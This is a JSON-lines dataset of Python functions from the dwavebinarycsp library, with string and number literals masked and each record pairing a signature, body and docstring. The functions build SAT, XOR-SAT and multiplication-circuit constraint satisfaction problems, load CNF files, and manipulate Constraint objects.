{"signature": "@dimod.decorators.vartype_argument('<STR_LIT>')<EOL>def sat2in4(pos, neg=tuple(), vartype=dimod.BINARY, name='<STR_LIT>'):", "body": "pos = tuple(pos)<EOL>neg = tuple(neg)<EOL>variables = pos + neg<EOL>if len(variables) != <NUM_LIT:4>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if neg and (len(neg) < <NUM_LIT:4>):<EOL><INDENT>const = sat2in4(pos=variables, vartype=vartype)  <EOL>for v in neg:<EOL><INDENT>const.flip_variable(v)<EOL>const.name = name  <EOL><DEDENT>return const<EOL><DEDENT>if vartype is dimod.BINARY:<EOL><INDENT>configurations = frozenset([(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>),<EOL>(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>),<EOL>(<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>),<EOL>(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>),<EOL>(<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>),<EOL>(<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>)])<EOL><DEDENT>else:<EOL><INDENT>configurations = frozenset([(-<NUM_LIT:1>, -<NUM_LIT:1>, +<NUM_LIT:1>, +<NUM_LIT:1>),<EOL>(-<NUM_LIT:1>, +<NUM_LIT:1>, -<NUM_LIT:1>, +<NUM_LIT:1>),<EOL>(+<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>, +<NUM_LIT:1>),<EOL>(-<NUM_LIT:1>, +<NUM_LIT:1>, +<NUM_LIT:1>, -<NUM_LIT:1>),<EOL>(+<NUM_LIT:1>, -<NUM_LIT:1>, +<NUM_LIT:1>, -<NUM_LIT:1>),<EOL>(+<NUM_LIT:1>, +<NUM_LIT:1>, -<NUM_LIT:1>, -<NUM_LIT:1>)])<EOL><DEDENT>def func(a, b, c, d):<EOL><INDENT>if a == b:<EOL><INDENT>return (b != c) and (c == d)<EOL><DEDENT>elif a == c:<EOL><INDENT>return b == d<EOL><DEDENT>else:<EOL><INDENT>return a == d<EOL><DEDENT><DEDENT>return Constraint(func, configurations, variables, vartype=vartype, name=name)<EOL>", "docstring": "Two-in-four (2-in-4) satisfiability.\n\n    Args:\n        pos (iterable):\n            Variable labels, as an iterable, for non-negated variables of the constraint.\n            Exactly four variables are specified by `pos` and `neg` together.\n        neg (tuple):\n            Variable labels, as an iterable, for negated variables of the constraint.\n            Exactly four variables are specified by `pos` and `neg` together.\n        vartype (Vartype, optional, default='BINARY'): Variable type. Accepted\n            input values:\n\n            * Vartype.SPIN, 'SPIN', {-1, 1}\n            * Vartype.BINARY, 'BINARY', {0, 1}\n        name (str, optional, default='2-in-4'): Name for the constraint.\n\n    Returns:\n        Constraint(:obj:`.Constraint`): Constraint that is satisfied when its variables are\n        assigned values that satisfy a two-in-four satisfiability problem.\n\n    Examples:\n        >>> import dwavebinarycsp\n        >>> import dwavebinarycsp.factories.constraint.sat as sat\n        >>> csp = dwavebinarycsp.ConstraintSatisfactionProblem(dwavebinarycsp.BINARY)\n        >>> csp.add_constraint(sat.sat2in4(['w', 'x', 'y', 'z'], vartype='BINARY', name='sat1'))\n        >>> csp.check({'w': 1, 'x': 1, 'y': 0, 'z': 0})\n        True", "id": "f11935:m0"}
{"signature": "def random_2in4sat(num_variables, num_clauses, vartype=dimod.BINARY, satisfiable=True):", "body": "if num_variables < <NUM_LIT:4>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if num_clauses > <NUM_LIT:16> * _nchoosek(num_variables, <NUM_LIT:4>):  <EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>csp = ConstraintSatisfactionProblem(vartype)<EOL>variables = list(range(num_variables))<EOL>constraints = set()<EOL>if satisfiable:<EOL><INDENT>values = tuple(vartype.value)<EOL>planted_solution = {v: choice(values) for v in variables}<EOL>configurations = [(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>), (<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>), (<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:1>),<EOL>(<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>), (<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:0>), (<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:0>)]<EOL>while len(constraints) < num_clauses:<EOL><INDENT>constraint_variables = sorted(sample(variables, <NUM_LIT:4>))<EOL>config = choice(configurations)<EOL>pos = tuple(v for idx, v in enumerate(constraint_variables) if config[idx] == (planted_solution[v] > <NUM_LIT:0>))<EOL>neg = tuple(v for idx, v in enumerate(constraint_variables) if config[idx] != (planted_solution[v] > <NUM_LIT:0>))<EOL>const = sat2in4(pos=pos, neg=neg, vartype=vartype)<EOL>assert const.check(planted_solution)<EOL>constraints.add(const)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>while len(constraints) < num_clauses:<EOL><INDENT>constraint_variables = sorted(sample(variables, <NUM_LIT:4>))<EOL>pos = tuple(v for v in constraint_variables if random() > <NUM_LIT>)<EOL>neg = tuple(v for v in constraint_variables if v not in pos)<EOL>const = sat2in4(pos=pos, neg=neg, vartype=vartype)<EOL>constraints.add(const)<EOL><DEDENT><DEDENT>for const in constraints:<EOL><INDENT>csp.add_constraint(const)<EOL><DEDENT>for v in variables:<EOL><INDENT>csp.add_variable(v)<EOL><DEDENT>return csp<EOL>", "docstring": "Random two-in-four (2-in-4) constraint satisfaction problem.\n\n    Args:\n        num_variables (integer): Number of variables (at least four).\n        num_clauses (integer): Number of constraints that together constitute the\n            constraint satisfaction problem.\n        vartype (Vartype, optional, default='BINARY'): Variable type. Accepted\n            input values:\n\n            * Vartype.SPIN, 'SPIN', {-1, 1}\n            * Vartype.BINARY, 'BINARY', {0, 1}\n        satisfiable (bool, optional, default=True): True if the CSP can be satisfied.\n\n    Returns:\n        CSP (:obj:`.ConstraintSatisfactionProblem`): CSP that is satisfied when its variables\n        are assigned values that satisfy a two-in-four satisfiability problem.\n\n    Examples:\n        This example creates a CSP with 6 variables and two random constraints and checks\n        whether a particular assignment of variables satisifies it.\n\n        >>> import dwavebinarycsp\n        >>> import dwavebinarycsp.factories as sat\n        >>> csp = sat.random_2in4sat(6, 2)\n        >>> csp.constraints    # doctest: +SKIP\n        [Constraint.from_configurations(frozenset({(1, 0, 1, 0), (1, 0, 0, 1), (1, 1, 1, 1), (0, 1, 1, 0), (0, 0, 0, 0),\n         (0, 1, 0, 1)}), (2, 4, 0, 1), Vartype.BINARY, name='2-in-4'),\n         Constraint.from_configurations(frozenset({(1, 0, 1, 1), (1, 1, 0, 1), (1, 1, 1, 0), (0, 0, 0, 1),\n         (0, 1, 0, 0), (0, 0, 1, 0)}), (1, 2, 4, 5), Vartype.BINARY, name='2-in-4')]\n        >>> csp.check({0: 1, 1: 0, 2: 1, 3: 1, 4: 0, 5: 0})       # doctest: +SKIP\n        True", "id": "f11938:m0"}
{"signature": "def random_xorsat(num_variables, num_clauses, vartype=dimod.BINARY, satisfiable=True):", "body": "if num_variables < <NUM_LIT:3>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>if num_clauses > <NUM_LIT:8> * _nchoosek(num_variables, <NUM_LIT:3>):  <EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>csp = ConstraintSatisfactionProblem(vartype)<EOL>variables = list(range(num_variables))<EOL>constraints = set()<EOL>if satisfiable:<EOL><INDENT>values = tuple(vartype.value)<EOL>planted_solution = {v: choice(values) for v in variables}<EOL>configurations = [(<NUM_LIT:0>, <NUM_LIT:0>, <NUM_LIT:0>), (<NUM_LIT:0>, <NUM_LIT:1>, <NUM_LIT:1>), (<NUM_LIT:1>, <NUM_LIT:0>, <NUM_LIT:1>), (<NUM_LIT:1>, <NUM_LIT:1>, <NUM_LIT:0>)]<EOL>while len(constraints) < num_clauses:<EOL><INDENT>x, y, z = sample(variables, <NUM_LIT:3>)<EOL>if y > x:<EOL><INDENT>x, y = y, x<EOL><DEDENT>const = xor_gate([x, y, z], vartype=vartype)<EOL>config = choice(configurations)<EOL>for idx, v in enumerate(const.variables):<EOL><INDENT>if config[idx] != (planted_solution[v] > <NUM_LIT:0>):<EOL><INDENT>const.flip_variable(v)<EOL><DEDENT><DEDENT>assert const.check(planted_solution)<EOL>constraints.add(const)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>while len(constraints) < num_clauses:<EOL><INDENT>x, y, z = sample(variables, <NUM_LIT:3>)<EOL>if y > x:<EOL><INDENT>x, y = y, x<EOL><DEDENT>const = xor_gate([x, y, z], vartype=vartype)<EOL>for idx, v in enumerate(const.variables):<EOL><INDENT>if random() > <NUM_LIT>:<EOL><INDENT>const.flip_variable(v)<EOL><DEDENT><DEDENT>assert const.check(planted_solution)<EOL>constraints.add(const)<EOL><DEDENT><DEDENT>for const in constraints:<EOL><INDENT>csp.add_constraint(const)<EOL><DEDENT>for v in variables:<EOL><INDENT>csp.add_variable(v)<EOL><DEDENT>return csp<EOL>", "docstring": "Random XOR constraint satisfaction problem.\n\n    Args:\n        num_variables (integer): Number of variables (at least three).\n        num_clauses (integer): Number of constraints that together constitute the\n            constraint satisfaction problem.\n        vartype (Vartype, optional, default='BINARY'): Variable type. Accepted\n            input values:\n\n            * Vartype.SPIN, 'SPIN', {-1, 1}\n            * Vartype.BINARY, 'BINARY', {0, 1}\n        satisfiable (bool, optional, default=True): True if the CSP can be satisfied.\n\n    Returns:\n        CSP (:obj:`.ConstraintSatisfactionProblem`): CSP that is satisfied when its variables\n        are assigned values that satisfy a XOR satisfiability problem.\n\n    Examples:\n        This example creates a CSP with 5 variables and two random constraints and checks\n        whether a particular assignment of variables satisifies it.\n\n        >>> import dwavebinarycsp\n        >>> import dwavebinarycsp.factories as sat\n        >>> csp = sat.random_xorsat(5, 2)\n        >>> csp.constraints    # doctest: +SKIP\n        [Constraint.from_configurations(frozenset({(1, 0, 0), (1, 1, 1), (0, 1, 0), (0, 0, 1)}), (4, 3, 0),\n         Vartype.BINARY, name='XOR (0 flipped)'),\n         Constraint.from_configurations(frozenset({(1, 1, 0), (0, 1, 1), (0, 0, 0), (1, 0, 1)}), (2, 0, 4),\n         Vartype.BINARY, name='XOR (2 flipped) (0 flipped)')]\n        >>> csp.check({0: 1, 1: 0, 2: 0, 3: 1, 4: 1})       # doctest: +SKIP\n        True", "id": "f11938:m1"}
{"signature": "def multiplication_circuit(nbit, vartype=dimod.BINARY):", "body": "if nbit < <NUM_LIT:1>:<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>num_multiplier_bits = num_multiplicand_bits = nbit<EOL>csp = ConstraintSatisfactionProblem(vartype)<EOL>a = {i: '<STR_LIT>' % i for i in range(nbit)}<EOL>b = {j: '<STR_LIT>' % j for j in range(nbit)}<EOL>p = {k: '<STR_LIT>' % k for k in range(nbit + nbit)}<EOL>AND = defaultdict(dict)  <EOL>SUM = defaultdict(dict)  <EOL>CARRY = defaultdict(dict)  <EOL>for i in range(num_multiplier_bits):<EOL><INDENT>for j in range(num_multiplicand_bits):<EOL><INDENT>ai = a[i]<EOL>bj = b[j]<EOL>if i == <NUM_LIT:0> and j == <NUM_LIT:0>:<EOL><INDENT>andij = AND[i][j] = p[<NUM_LIT:0>]<EOL>gate = and_gate([ai, bj, andij], vartype=vartype, name='<STR_LIT>' % (ai, bj, andij))<EOL>csp.add_constraint(gate)<EOL>continue<EOL><DEDENT>andij = AND[i][j] = '<STR_LIT>' % (i, j)<EOL>gate = and_gate([ai, bj, andij], vartype=vartype, name='<STR_LIT>' % (ai, bj, andij))<EOL>csp.add_constraint(gate)<EOL>inputs = [andij]<EOL>if i - <NUM_LIT:1> in CARRY and j in CARRY[i - <NUM_LIT:1>]:<EOL><INDENT>inputs.append(CARRY[i - <NUM_LIT:1>][j])<EOL><DEDENT>if i - <NUM_LIT:1> in SUM and j + <NUM_LIT:1> in SUM[i - <NUM_LIT:1>]:<EOL><INDENT>inputs.append(SUM[i - <NUM_LIT:1>][j + <NUM_LIT:1>])<EOL><DEDENT>if len(inputs) == <NUM_LIT:1>:<EOL><INDENT>SUM[i][j] = andij<EOL><DEDENT>elif len(inputs) == <NUM_LIT:2>:<EOL><INDENT>if j == <NUM_LIT:0>:<EOL><INDENT>sumij = SUM[i][j] = p[i]<EOL><DEDENT>else:<EOL><INDENT>sumij = SUM[i][j] = '<STR_LIT>' % (i, j)<EOL><DEDENT>carryij = CARRY[i][j] = '<STR_LIT>' % (i, j)<EOL>name = '<STR_LIT>' % (inputs[<NUM_LIT:0>], inputs[<NUM_LIT:1>], sumij, carryij)<EOL>gate = halfadder_gate([inputs[<NUM_LIT:0>], inputs[<NUM_LIT:1>], sumij, carryij], vartype=vartype, name=name)<EOL>csp.add_constraint(gate)<EOL><DEDENT>else:<EOL><INDENT>assert len(inputs) == <NUM_LIT:3>, '<STR_LIT>'<EOL>if j == <NUM_LIT:0>:<EOL><INDENT>sumij = SUM[i][j] = p[i]<EOL><DEDENT>else:<EOL><INDENT>sumij = SUM[i][j] = '<STR_LIT>' % (i, j)<EOL><DEDENT>carryij = CARRY[i][j] = '<STR_LIT>' % (i, j)<EOL>name = '<STR_LIT>' % (inputs[<NUM_LIT:0>], inputs[<NUM_LIT:1>], inputs[<NUM_LIT:2>], sumij, carryij)<EOL>gate = fulladder_gate([inputs[<NUM_LIT:0>], inputs[<NUM_LIT:1>], inputs[<NUM_LIT:2>], sumij, carryij], vartype=vartype, name=name)<EOL>csp.add_constraint(gate)<EOL><DEDENT><DEDENT><DEDENT>for col in range(nbit - <NUM_LIT:1>):<EOL><INDENT>inputs = [CARRY[nbit - <NUM_LIT:1>][col], SUM[nbit - <NUM_LIT:1>][col + <NUM_LIT:1>]]<EOL>if col == <NUM_LIT:0>:<EOL><INDENT>sumout = p[nbit + col]<EOL>carryout = CARRY[nbit][col] = '<STR_LIT>' % (nbit, col)<EOL>name = '<STR_LIT>' % (inputs[<NUM_LIT:0>], inputs[<NUM_LIT:1>], sumout, carryout)<EOL>gate = halfadder_gate([inputs[<NUM_LIT:0>], inputs[<NUM_LIT:1>], sumout, carryout], vartype=vartype, name=name)<EOL>csp.add_constraint(gate)<EOL>continue<EOL><DEDENT>inputs.append(CARRY[nbit][col - <NUM_LIT:1>])<EOL>sumout = p[nbit + col]<EOL>if col < nbit - <NUM_LIT:2>:<EOL><INDENT>carryout = CARRY[nbit][col] = '<STR_LIT>' % (nbit, col)<EOL><DEDENT>else:<EOL><INDENT>carryout = p[<NUM_LIT:2> * nbit - <NUM_LIT:1>]<EOL><DEDENT>name = '<STR_LIT>' % (inputs[<NUM_LIT:0>], inputs[<NUM_LIT:1>], inputs[<NUM_LIT:2>], sumout, carryout)<EOL>gate = fulladder_gate([inputs[<NUM_LIT:0>], inputs[<NUM_LIT:1>], inputs[<NUM_LIT:2>], sumout, carryout], vartype=vartype, name=name)<EOL>csp.add_constraint(gate)<EOL><DEDENT>return csp<EOL>", "docstring": "Multiplication circuit constraint satisfaction problem.\n\n    A constraint satisfaction problem that represents the binary multiplication :math:`ab=p`,\n    where the multiplicands are binary variables of length `nbit`; for example,\n    :math:`a_0 + 2a_1 + 4a_2 +... +2^ma_{nbit}`.\n\n    The square below shows a graphic representation of the circuit::\n\n      ________________________________________________________________________________\n      |                                         and20         and10         and00    |\n      |                                           |             |             |      |\n      |                           and21         add11\u2500\u2500and11  add01\u2500\u2500and01    |      |\n      |                             |\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518|\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518|             |      |\n      |             and22         add12\u2500\u2500and12  add02\u2500\u2500and02    |             |      |\n      |               |\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518|\u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518|             |             |      |\n      |             add13\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500add03           |             |             |      |\n      |  \u250c\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2518|             |             |             |             |      |\n      | p5            p4            p3            p2            p1            p0     |\n      --------------------------------------------------------------------------------\n\n    Args:\n        nbit (int): Number of bits in the multiplicands.\n        vartype (Vartype, optional, default='BINARY'): Variable type. Accepted\n            input values:\n\n            * Vartype.SPIN, 'SPIN', {-1, 1}\n            * Vartype.BINARY, 'BINARY', {0, 1}\n\n    Returns:\n        CSP (:obj:`.ConstraintSatisfactionProblem`): CSP that is satisfied when variables\n        :math:`a,b,p` are assigned values that correctly solve binary multiplication :math:`ab=p`.\n\n    Examples:\n        This example creates a multiplication circuit CSP that multiplies two 3-bit numbers,\n        which is then formulated as a binary quadratic model (BQM). It fixes the multiplacands\n        as :math:`a=5, b=6` (:math:`101` and :math:`110`) and uses a simulated annealing sampler\n        to find the product, :math:`p=30` (:math:`111100`).\n\n        >>> import dwavebinarycsp\n        >>> from dwavebinarycsp.factories.csp.circuits import multiplication_circuit\n        >>> import neal\n        >>> csp = multiplication_circuit(3)\n        >>> bqm = dwavebinarycsp.stitch(csp)\n        >>> bqm.fix_variable('a0', 1); bqm.fix_variable('a1', 0); bqm.fix_variable('a2', 1)\n        >>> bqm.fix_variable('b0', 1); bqm.fix_variable('b1', 1); bqm.fix_variable('b2', 0)\n        >>> sampler = neal.SimulatedAnnealingSampler()\n        >>> response = sampler.sample(bqm)\n        >>> p = next(response.samples(n=1, sorted_by='energy'))\n        >>> print(p['p0'], p['p1'], p['p2'], p['p3'], p['p4'], p['p5'])    # doctest: +SKIP\n        1 1 1 1 0 0", "id": "f11939:m0"}
{"signature": "def load_cnf(fp):", "body": "fp = iter(fp)  <EOL>csp = ConstraintSatisfactionProblem(dimod.BINARY)<EOL>num_clauses = num_variables = <NUM_LIT:0><EOL>problem_pattern = re.compile(_PROBLEM_REGEX)<EOL>for line in fp:<EOL><INDENT>matches = problem_pattern.findall(line)<EOL>if matches:<EOL><INDENT>if len(matches) > <NUM_LIT:1>:<EOL><INDENT>raise ValueError<EOL><DEDENT>nv, nc = matches[<NUM_LIT:0>]<EOL>num_variables, num_clauses = int(nv), int(nc)<EOL>break<EOL><DEDENT><DEDENT>clause_pattern = re.compile(_CLAUSE_REGEX)<EOL>for line in fp:<EOL><INDENT>if clause_pattern.match(line) is not None:<EOL><INDENT>clause = [int(v) for v in line.split('<STR_LIT:U+0020>')[:-<NUM_LIT:1>]]  <EOL>variables = [abs(v) for v in clause]<EOL>f = _cnf_or(clause)<EOL>csp.add_constraint(f, variables)<EOL><DEDENT><DEDENT>for v in range(<NUM_LIT:1>, num_variables+<NUM_LIT:1>):<EOL><INDENT>csp.add_variable(v)<EOL><DEDENT>for v in csp.variables:<EOL><INDENT>if v > num_variables:<EOL><INDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\").format(num_variables, num_clauses, v)<EOL>raise ValueError(msg)<EOL><DEDENT><DEDENT>if len(csp) != num_clauses:<EOL><INDENT>msg = (\"<STR_LIT>\"<EOL>\"<STR_LIT>\").format(num_clauses, len(csp))<EOL>raise ValueError(msg)<EOL><DEDENT>return csp<EOL>", "docstring": "Load a constraint satisfaction problem from a .cnf file.\n\n    Args:\n        fp (file, optional):\n            `.write()`-supporting `file object`_ DIMACS CNF formatted_ file.\n\n    Returns:\n        :obj:`.ConstraintSatisfactionProblem` a binary-valued SAT problem.\n\n    Examples:\n\n        >>> import dwavebinarycsp as dbcsp\n        ...\n        >>> with open('test.cnf', 'r') as fp: # doctest: +SKIP\n        ...     csp = dbcsp.cnf.load_cnf(fp)\n\n    .. _file object: https://docs.python.org/3/glossary.html#term-file-object\n\n    .. _formatted: http://www.satcompetition.org/2009/format-benchmarks2009.html", "id": "f11940:m0"}
{"signature": "@classmethod<EOL><INDENT>@dimod.decorators.vartype_argument('<STR_LIT>')<EOL>def from_func(cls, func, variables, vartype, name=None):<DEDENT>", "body": "variables = tuple(variables)<EOL>configurations = frozenset(config<EOL>for config in itertools.product(vartype.value, repeat=len(variables))<EOL>if func(*config))<EOL>return cls(func, configurations, variables, vartype, name)<EOL>", "docstring": "Construct a constraint from a validation function.\n\n        Args:\n            func (function):\n                Function that evaluates True when the variables satisfy the constraint.\n\n            variables (iterable):\n                Iterable of variable labels.\n\n            vartype (:class:`~dimod.Vartype`/str/set):\n                Variable type for the constraint. Accepted input values:\n\n                * :attr:`~dimod.Vartype.SPIN`, ``'SPIN'``, ``{-1, 1}``\n                * :attr:`~dimod.Vartype.BINARY`, ``'BINARY'``, ``{0, 1}``\n\n            name (string, optional, default='Constraint'):\n                Name for the constraint.\n\n        Examples:\n            This example creates a constraint that binary variables `a` and `b`\n            are not equal.\n\n            >>> import dwavebinarycsp\n            >>> import operator\n            >>> const = dwavebinarycsp.Constraint.from_func(operator.ne, ['a', 'b'], 'BINARY')\n            >>> print(const.name)\n            Constraint\n            >>> (0, 1) in const.configurations\n            True\n\n            This example creates a constraint that :math:`out = NOT(x)`\n            for spin variables.\n\n            >>> import dwavebinarycsp\n            >>> def not_(y, x):  # y=NOT(x) for spin variables\n            ...     return (y == -x)\n            ...\n            >>> const = dwavebinarycsp.Constraint.from_func(\n            ...               not_,\n            ...               ['out', 'in'],\n            ...               {1, -1},\n            ...               name='not_spin')\n            >>> print(const.name)\n            not_spin\n            >>> (1, -1) in const.configurations\n            True", "id": "f11942:c0:m1"}
{"signature": "@classmethod<EOL><INDENT>def from_configurations(cls, configurations, variables, vartype, name=None):<DEDENT>", "body": "def func(*args): return args in configurations<EOL>return cls(func, configurations, variables, vartype, name)<EOL>", "docstring": "Construct a constraint from valid configurations.\n\n        Args:\n            configurations (iterable[tuple]):\n                Valid configurations of the variables. Each configuration is a tuple of variable\n                assignments ordered by :attr:`~Constraint.variables`.\n\n            variables (iterable):\n                Iterable of variable labels.\n\n            vartype (:class:`~dimod.Vartype`/str/set):\n                Variable type for the constraint. Accepted input values:\n\n                * :attr:`~dimod.Vartype.SPIN`, ``'SPIN'``, ``{-1, 1}``\n                * :attr:`~dimod.Vartype.BINARY`, ``'BINARY'``, ``{0, 1}``\n\n            name (string, optional, default='Constraint'):\n                Name for the constraint.\n\n        Examples:\n\n            This example creates a constraint that variables `a` and `b` are not equal.\n\n            >>> import dwavebinarycsp\n            >>> const = dwavebinarycsp.Constraint.from_configurations([(0, 1), (1, 0)],\n            ...                   ['a', 'b'], dwavebinarycsp.BINARY)\n            >>> print(const.name)\n            Constraint\n            >>> (0, 0) in const.configurations   # Order matches variables: a,b\n            False\n\n            This example creates a constraint based on specified valid configurations\n            that represents an OR gate for spin variables.\n\n            >>> import dwavebinarycsp\n            >>> const = dwavebinarycsp.Constraint.from_configurations(\n            ...           [(-1, -1, -1), (1, -1, 1), (1, 1, -1), (1, 1, 1)],\n            ...           ['y', 'x1', 'x2'],\n            ...           dwavebinarycsp.SPIN, name='or_spin')\n            >>> print(const.name)\n            or_spin\n            >>> (1, 1, -1) in const.configurations   # Order matches variables: y,x1,x2\n            True", "id": "f11942:c0:m2"}
{"signature": "def __len__(self):", "body": "return self.variables.__len__()<EOL>", "docstring": "The number of variables.", "id": "f11942:c0:m3"}
{"signature": "def check(self, solution):", "body": "return self.func(*(solution[v] for v in self.variables))<EOL>", "docstring": "Check that a solution satisfies the constraint.\n\n        Args:\n            solution (container):\n                An assignment for the variables in the constraint.\n\n        Returns:\n            bool: True if the solution satisfies the constraint; otherwise False.\n\n        Examples:\n            This example creates a constraint that :math:`a \\\\ne b` on binary variables\n            and tests it for two candidate solutions, with additional unconstrained\n            variable c.\n\n            >>> import dwavebinarycsp\n            >>> const = dwavebinarycsp.Constraint.from_configurations([(0, 1), (1, 0)],\n            ...             ['a', 'b'], dwavebinarycsp.BINARY)\n            >>> solution = {'a': 1, 'b': 1, 'c': 0}\n            >>> const.check(solution)\n            False\n            >>> solution = {'a': 1, 'b': 0, 'c': 0}\n            >>> const.check(solution)\n            True", "id": "f11942:c0:m10"}
{"signature": "def fix_variable(self, v, value):", "body": "variables = self.variables<EOL>try:<EOL><INDENT>idx = variables.index(v)<EOL><DEDENT>except ValueError:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(v))<EOL><DEDENT>if value not in self.vartype.value:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(self.vartype.value, value))<EOL><DEDENT>configurations = frozenset(config[:idx] + config[idx + <NUM_LIT:1>:]  <EOL>for config in self.configurations<EOL>if config[idx] == value)<EOL>if not configurations:<EOL><INDENT>raise UnsatError(\"<STR_LIT>\".format(v, value))<EOL><DEDENT>variables = variables[:idx] + variables[idx + <NUM_LIT:1>:]<EOL>self.configurations = configurations<EOL>self.variables = variables<EOL>def func(*args): return args in configurations<EOL>self.func = func<EOL>self.name = '<STR_LIT>'.format(self.name, v, value)<EOL>", "docstring": "Fix the value of a variable and remove it from the constraint.\n\n        Args:\n            v (variable):\n                Variable in the constraint to be set to a constant value.\n\n            val (int):\n                Value assigned to the variable. Values must match the :class:`.Vartype` of the\n                constraint.\n\n        Examples:\n            This example creates a constraint that :math:`a \\\\ne b` on binary variables,\n            fixes variable a to 0, and tests two candidate solutions.\n\n            >>> import dwavebinarycsp\n            >>> const = dwavebinarycsp.Constraint.from_func(operator.ne,\n            ...             ['a', 'b'], dwavebinarycsp.BINARY)\n            >>> const.fix_variable('a', 0)\n            >>> const.check({'b': 1})\n            True\n            >>> const.check({'b': 0})\n            False", "id": "f11942:c0:m11"}
{"signature": "def flip_variable(self, v):", "body": "try:<EOL><INDENT>idx = self.variables.index(v)<EOL><DEDENT>except ValueError:<EOL><INDENT>raise ValueError(\"<STR_LIT>\".format(v, self.name))<EOL><DEDENT>if self.vartype is dimod.BINARY:<EOL><INDENT>original_func = self.func<EOL>def func(*args):<EOL><INDENT>new_args = list(args)<EOL>new_args[idx] = <NUM_LIT:1> - new_args[idx]  <EOL>return original_func(*new_args)<EOL><DEDENT>self.func = func<EOL>self.configurations = frozenset(config[:idx] + (<NUM_LIT:1> - config[idx],) + config[idx + <NUM_LIT:1>:]<EOL>for config in self.configurations)<EOL><DEDENT>else:  <EOL><INDENT>original_func = self.func<EOL>def func(*args):<EOL><INDENT>new_args = list(args)<EOL>new_args[idx] = -new_args[idx]  <EOL>return original_func(*new_args)<EOL><DEDENT>self.func = func<EOL>self.configurations = frozenset(config[:idx] + (-config[idx],) + config[idx + <NUM_LIT:1>:]<EOL>for config in self.configurations)<EOL><DEDENT>self.name = '<STR_LIT>'.format(self.name, v)<EOL>", "docstring": "Flip a variable in the constraint.\n\n        Args:\n            v (variable):\n                Variable in the constraint to take the complementary value of its\n                construction value.\n\n        Examples:\n            This example creates a constraint that :math:`a = b` on binary variables\n            and flips variable a.\n\n            >>> import dwavebinarycsp\n            >>> const = dwavebinarycsp.Constraint.from_func(operator.eq,\n            ...             ['a', 'b'], dwavebinarycsp.BINARY)\n            >>> const.check({'a': 0, 'b': 0})\n            True\n            >>> const.flip_variable('a')\n            >>> const.check({'a': 1, 'b': 0})\n            True\n            >>> const.check({'a': 0, 'b': 0})\n            False", "id": "f11942:c0:m12"}
{"signature": "def copy(self):", "body": "<EOL>return self.__class__(self.func, self.configurations, self.variables, self.vartype, name=self.name)<EOL>", "docstring": "Create a copy.\n\n        Examples:\n            This example copies constraint :math:`a \\\\ne b` and tests a solution\n            on the copied constraint.\n\n            >>> import dwavebinarycsp\n            >>> import operator\n            >>> const = dwavebinarycsp.Constraint.from_func(operator.ne,\n            ...             ['a', 'b'], 'BINARY')\n            >>> const2 = const.copy()\n            >>> const2 is const\n            False\n            >>> const2.check({'a': 1, 'b': 1})\n            False", "id": "f11942:c0:m13"}
{"signature": "def projection(self, variables):", "body": "<EOL>variables = set(variables)<EOL>if not variables.issubset(self.variables):<EOL><INDENT>raise ValueError(\"<STR_LIT>\")<EOL><DEDENT>idxs = [i for i, v in enumerate(self.variables) if v in variables]<EOL>configurations = frozenset(tuple(config[i] for i in idxs) for config in self.configurations)<EOL>variables = tuple(self.variables[i] for i in idxs)<EOL>return self.from_configurations(configurations, variables, self.vartype)<EOL>", "docstring": "Create a new constraint that is the projection onto a subset of the variables.\n\n        Args:\n            variables (iterable):\n                Subset of the constraint's variables.\n\n        Returns:\n            :obj:`.Constraint`: A new constraint over a subset of the variables.\n\n        Examples:\n\n            >>> import dwavebinarycsp\n            ...\n            >>> const = dwavebinarycsp.Constraint.from_configurations([(0, 0), (0, 1)],\n            ...                                                       ['a', 'b'],\n            ...                                                       dwavebinarycsp.BINARY)\n            >>> proj = const.projection(['a'])\n            >>> proj.variables\n            ['a']\n            >>> proj.configurations\n            {(0,)}", "id": "f11942:c0:m14"}
